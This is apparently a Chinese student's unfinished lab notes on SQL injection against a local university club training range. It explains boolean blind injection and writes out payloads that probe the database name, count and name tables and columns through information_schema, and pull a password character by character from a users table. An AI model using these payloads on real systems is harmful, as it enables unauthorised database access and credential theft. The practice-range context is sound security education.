简介

靶场:榆林学院信息安全协会——入侵榆大实验靶场

数字型注入

1

字符型注入

1

布尔注入

1.布尔注入简介

mysql bool注入是盲注的一种。与报错注入不同,bool注入没有任何报错信息输出,

页面返回只有正常和不正常两种状态。攻击者只能通过这两个状态来判断输入的SQL注入语句是否正确,

从而判断数据库中存储了那些信息

2.基础的MYSQL函数

ascii()返回字符串str的最左面字符的ASCII代码值

ord() 函数返回字符串第一个字符的ASCII 值

substring()字符串截取函数

left(str, length)从开始截取字符串

right(str, length)从右边开始截取字符串

学习参考:https://www.cnblogs.com/heyonggang/p/8117754.html

3.二分法盲注过程

靶场采用协会内1比1仿真靶场:

测试注入payload:

http://127.0.0.1/index.php?id=8'
http://127.0.0.1/index.php?id=8 and 1=1
http://127.0.0.1/index.php?id=8 and 1=2

经过测试  页面不论怎样测试都没有错误  只有有数据 和无数据两种页面 不像别的注入页面会爆出错误 只有爆出错误信息我们才能通过错误信息这块来爆出数据库中的内容

所以我们大致判断这个页面是一个布尔注入  使用盲注方法来解决。

采用二分法判断 得知数据库长度为4

and (select length(database()))>35   //页面回显没数据
and (select length(database()))<35 //页面回显有数据
and (select length(database()))=4 //页面回显有数据

获得数据库名 获得数据库名为 ylxy

and left((select database()),1)='y'

获得数据库中表的数量

and if((select count(*) from information_schema.tables where table_schema=database())>1,1,0)
and if((select count(*) from information_schema.tables where table_schema=database())=2,1,0)

获得数据库表名

and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r'

------有问题。。。。

判断字段数量

and (select count(*) from information_schema.columns where table_name='users')>1

获得指定表名字段数
and left((select column_name from information_schema.columns where table_name='users' limit 1,1),1)='f'

爆数据
and left((select password from users limit 0,1),1)='D'

3.sqlmap 注入

ddd

3.python 脚本注入

线性结构Linear Structure

1

web安全原理分析-SQL注入漏洞全解的更多相关文章

  1. 什么是简单的分析SQL注入漏洞

    如今非常多人在入侵的过程中基本都是通过SQL注入来完毕的,可是有多少人知道为什么会有这种注入漏洞呢?有的会随口说着对于字符的过滤不严造成的. 可是事实是这样吗?我们学这些.不仅要知其然.更要知其所以然 ...

  2. SQL注入漏洞详解

    目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 UpdateXml报错注 ...

  3. SQL注入漏洞技术的详解

    SQL注入漏洞详解 目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 Up ...

  4. 【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

    0x01漏洞描述 Discuz!X全版本存在SQL注入漏洞.漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid' ...

  5. 【漏洞复现】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞原理分析与复现

    影响版本 wordpress < 5.8.3 分析 参考:https://blog.csdn.net/qq_46717339/article/details/122431779 在 5.8.3 ...

  6. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  7. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  8. Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析

    RickGray · 2015/10/26 11:24 昨日,Joomla CMS发布新版本3.4.5,该版本修复了一个高危的SQL注入漏洞,3.2至3.4.4版本都受到影响.攻击者通过该漏洞可以直接 ...

  9. [web安全原理分析]-XEE漏洞入门

    前言 1 前言 XXE漏洞 XXE漏洞全称(XML External Entity Injection)即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致 ...

随机推荐

  1. History和Screen的对象属性

    History 对象是 window 对象的一部分,可通过 window.history 属性对其进行访问. 属性 说明 length 返回历史列表中的网址数 History 对象方法 方法 说明 b ...

  2. python web自动化上传文件工具

    工具下载地址:链接:https://pan.baidu.com/s/1cHdNHW 密码:56bp说明:1.WinSpy-1.0.2.7z解压即可.2.pywin32的exe程序,根据自己安装的pyt ...

  3. MSF权限维持

    MSF权限维持 环境搭建 目标机:win7 ip:192.168.224.133 攻击机:kali linux ip:192.168.224.129 首先使用web_delivery模块的regsvr ...

  4. Docker 也是本地开发的一神器:部署单机版 Pulsar 和集群架构 Redis

    原文链接:Docker 也是本地开发的一神器:部署单机版 Pulsar 和集群架构 Redis 一.前言: 现在互联网的技术架构中,不断出现各种各样的中间件,例如 MQ.Redis.Zookeeper ...

  5. 企业级数据大屏设计如何实现,div+html+echarts

    大屏是什么? 大屏设计是最近比较流行的概念,一般按照功能来分有几种: 1. 可交互的触摸屏,大多运用在互动教学课程或者报告演示现场,用户可结合交互操作来阐述具体内容.设计师需要对交互形式和传达内容作统 ...

  6. CF1336 Linova and Kingdom

    题面 给定 n 个节点的有根树,根是 1 号节点. 你可以选择 k 个节点将其设置为工业城市,其余设置为旅游城市. 对于一个工业城市,定义它的幸福值为工业城市到根的路径经过的旅游城市的数量. 你需要求 ...

  7. 4g工业路由器的覆盖范围分析

    4G工业路由器通常覆盖范围在60-80米之间,而影响4G工业路由器的覆盖范围有以下几个因素. 影响4g工业路由器覆盖范围的因素一:环境 空旷的环境下4g工业路由器的信号覆盖范围必然更加广阔,如果传输环 ...

  8. JAVA学习线路:day14-网络编程

    心得: 我是一名正在自学的java的即将毕业的大学生 总结笔记是为了让自己更好的理解和加深印象.可能不是那么美观,自己可以看懂就好 所有的文档和源代码都开源在GitHub: https://githu ...

  9. python开发基础(一)-if条件判断,while循环,break,continue,

    条件语句 (1)if 基本语句 if 条件 : 内部代码块 else: .... print() (2)if 嵌套 (3)if elif 语句 (4)if 1==1: pass # if不执行,pas ...

  10. DP斜率优化学习笔记

    斜率优化 首先,可以进行斜率优化的DP方程式一般式为$dp[i]=\max_{j=1}^{i-1}/\min_{j=1}^{i-1}\{a(i)*x(j)+b(i)*y(j)\}$ 其中$a(j)$和 ...